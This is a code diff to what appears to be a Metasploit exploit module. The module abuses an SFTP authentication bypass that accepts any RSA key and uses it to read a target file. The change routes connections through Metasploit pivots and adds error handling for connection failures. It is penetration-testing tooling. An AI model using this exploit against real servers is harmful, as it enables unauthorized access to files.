@@ -54,13 +54,30 @@ def initialize(info = {})
54
54
)
55
55
end
56
56
57
+ # This method will be used by net/ssh when creating a new TCP socket. We neet this so the net/ssh library will
58
+ # honor Metasploits network pivots, and route a connection through the expected session if applicable.
59
+ def open ( host , port , _connection_options = nil )
60
+ vprint_status ( "Creating Rex::Socket::Tcp to #{ host } :#{ port } ..." )
61
+ Rex ::Socket ::Tcp . create (
62
+ 'PeerHost' => host ,
63
+ 'PeerPort' => port ,
64
+ 'Proxies' => datastore [ 'Proxies' ] ,
65
+ 'Context' => {
66
+ 'Msf' => framework ,
67
+ 'MsfExploit' => self
68
+ }
69
+ )
70
+ end
71
+
57
72
def check
58
73
# Our check method will establish an unauthenticated connection to the remote SFTP (which is an extension of SSH)
59
74
# service and we pull out the servers version string.
60
75
transport = ::Net ::SSH ::Transport ::Session . new (
61
76
datastore [ 'RHOST' ] ,
62
77
{
63
- port : datastore [ 'RPORT' ]
78
+ port : datastore [ 'RPORT' ] ,
79
+ # Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots.
80
+ proxy : self
64
81
}
65
82
)
66
83
@@ -71,7 +88,11 @@ def check
71
88
72
89
# We cannot get a product version number, so the best we can do is return Detected.
73
90
Msf ::Exploit ::CheckCode ::Detected ( ident )
74
- rescue Net ::SSH ::ConnectionTimeout
91
+ rescue ::Rex ::ConnectionRefused
92
+ Msf ::Exploit ::CheckCode ::Unknown ( 'Connection Refused' )
93
+ rescue ::Rex ::HostUnreachable
94
+ Msf ::Exploit ::CheckCode ::Unknown ( 'Host Unreachable' )
95
+ rescue ::Rex ::ConnectionTimeout , ::Net ::SSH ::ConnectionTimeout
75
96
Msf ::Exploit ::CheckCode ::Unknown ( 'Connection Timeout' )
76
97
end
77
98
@@ -99,7 +120,9 @@ def run
99
120
auth_methods : [ 'publickey' ] ,
100
121
# The vulnerability allows us to supply any well formed RSA key and it will be accepted. So we generate a new
101
122
# key (in PEM format) every time we exploit the vulnerability.
102
- key_data : [ OpenSSL ::PKey ::RSA . new ( 2048 ) . to_pem ]
123
+ key_data : [ OpenSSL ::PKey ::RSA . new ( 2048 ) . to_pem ] ,
124
+ # Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots.
125
+ proxy : self
103
126
}
104
127
) do |sftp |
105
128
if File . directory? datastore [ 'TARGETFILE' ]
@@ -116,6 +139,12 @@ def run
116
139
print_error ( 'SFTP Status Exception.' )
117
140
rescue ::Net ::SSH ::AuthenticationFailed
118
141
print_error ( 'SFTP Authentication Failed. Is TARGETUSER a valid username?' )
142
+ rescue ::Rex ::ConnectionRefused
143
+ print_error ( 'SFTP Connection Refused.' )
144
+ rescue ::Rex ::HostUnreachable
145
+ print_error ( 'SFTP Host Unreachable.' )
146
+ rescue ::Rex ::ConnectionTimeout , ::Net ::SSH ::ConnectionTimeout
147
+ print_error ( 'SFTP Connection Timeout.' )
119
148
ensure
120
149
::Net ::SSH ::Authentication ::Methods ::Publickey . send ( :alias_method , :build_request , :orig_build_request )
121
150
end
0 commit comments